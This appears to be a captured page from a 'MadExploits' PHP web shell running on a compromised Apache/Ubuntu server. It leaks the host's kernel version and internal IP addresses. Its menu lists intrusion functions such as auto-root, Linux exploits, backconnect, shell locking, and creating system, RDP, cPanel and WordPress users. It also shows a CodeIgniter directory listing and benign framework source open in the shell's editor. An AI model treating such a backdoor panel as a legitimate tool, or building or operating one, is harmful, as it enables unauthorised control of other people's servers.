Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
system /
HTTP /
[ HOME SHELL ]
Name
Size
Permission
Action
Exceptions
[ DIR ]
drwxr-x--x
Files
[ DIR ]
drwxr-x--x
CLIRequest.php
4.91
KB
-rwxr-x--x
CURLRequest.php
18.07
KB
-rwxr-x--x
ContentSecurityPolicy.php
18.88
KB
-rwxr-x--x
DownloadResponse.php
7.5
KB
-rwxr-x--x
Header.php
4.19
KB
-rwxr-x--x
IncomingRequest.php
22.21
KB
-rwxr-x--x
Message.php
2.67
KB
-rwxr-x--x
MessageInterface.php
2.29
KB
-rwxr-x--x
MessageTrait.php
6.21
KB
-rwxr-x--x
Negotiate.php
10.72
KB
-rwxr-x--x
RedirectResponse.php
3.93
KB
-rwxr-x--x
Request.php
2.86
KB
-rwxr-x--x
RequestInterface.php
1.51
KB
-rwxr-x--x
RequestTrait.php
10.36
KB
-rwxr-x--x
Response.php
8.89
KB
-rwxr-x--x
ResponseInterface.php
12.9
KB
-rwxr-x--x
ResponseTrait.php
19.49
KB
-rwxr-x--x
URI.php
26.03
KB
-rwxr-x--x
UserAgent.php
7.79
KB
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CLIRequest.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\HTTP; use Config\App; use RuntimeException; /** * Class CLIRequest * * Represents a request from the command-line. Provides additional * tools to interact with that request since CLI requests are not * static like HTTP requests might be. * * Portions of this code were initially from the FuelPHP Framework, * version 1.7.x, and used here under the MIT license they were * originally made available under. * * http://fuelphp.com */ class CLIRequest extends Request { /** * Stores the segments of our cli "URI" command. * * @var array */ protected $segments = []; /** * Command line options and their values. * * @var array */ protected $options = []; /** * Set the expected HTTP verb * * @var string */ protected $method = 'cli'; /** * Constructor */ public function __construct(App $config) { if (! is_cli()) { throw new RuntimeException(static::class . ' needs to run from the command line.'); // @codeCoverageIgnore } parent::__construct($config); // Don't terminate the script when the cli's tty goes away ignore_user_abort(true); $this->parseCommand(); } /** * Returns the "path" of the request script so that it can be used * in routing to the appropriate controller/method. * * The path is determined by treating the command line arguments * as if it were a URL - up until we hit our first option. * * Example: * php index.php users 21 profile -foo bar * * // Routes to /users/21/profile (index is removed for routing sake) * // with the option foo = bar. */ public function getPath(): string { $path = implode('/', $this->segments); return empty($path) ? '' : $path; } /** * Returns an associative array of all CLI options found, with * their values. */ public function getOptions(): array { return $this->options; } /** * Returns the path segments. */ public function getSegments(): array { return $this->segments; } /** * Returns the value for a single CLI option that was passed in. * * @return string|null */ public function getOption(string $key) { return $this->options[$key] ?? null; } /** * Returns the options as a string, suitable for passing along on * the CLI to other commands. * * Example: * $options = [ * 'foo' => 'bar', * 'baz' => 'queue some stuff' * ]; * * getOptionString() = '-foo bar -baz "queue some stuff"' */ public function getOptionString(bool $useLongOpts = false): string { if (empty($this->options)) { return ''; } $out = ''; foreach ($this->options as $name => $value) { if ($useLongOpts && mb_strlen($name) > 1) { $out .= "--{$name} "; } else { $out .= "-{$name} "; } // If there's a space, we need to group // so it will pass correctly. if (mb_strpos($value, ' ') !== false) { $out .= '"' . $value . '" '; } elseif ($value !== null) { $out .= "{$value} "; } } return trim($out); } /** * Parses the command line it was called from and collects all options * and valid segments. * * NOTE: I tried to use getopt but had it fail occasionally to find * any options, where argv has always had our back. */ protected function parseCommand() { $args = $this->getServer('argv'); array_shift($args); // Scrap index.php $optionValue = false; foreach ($args as $i => $arg) { if (mb_strpos($arg, '-') !== 0) { if ($optionValue) { $optionValue = false; } else { $this->segments[] = filter_var($arg, FILTER_SANITIZE_STRING); } continue; } $arg = filter_var(ltrim($arg, '-'), FILTER_SANITIZE_STRING); $value = null; if (isset($args[$i + 1]) && mb_strpos($args[$i + 1], '-') !== 0) { $value = filter_var($args[$i + 1], FILTER_SANITIZE_STRING); $optionValue = true; } $this->options[$arg] = $value; } } /** * Determines if this request was made from the command line (CLI). */ public function isCLI(): bool { return is_cli(); } }
Close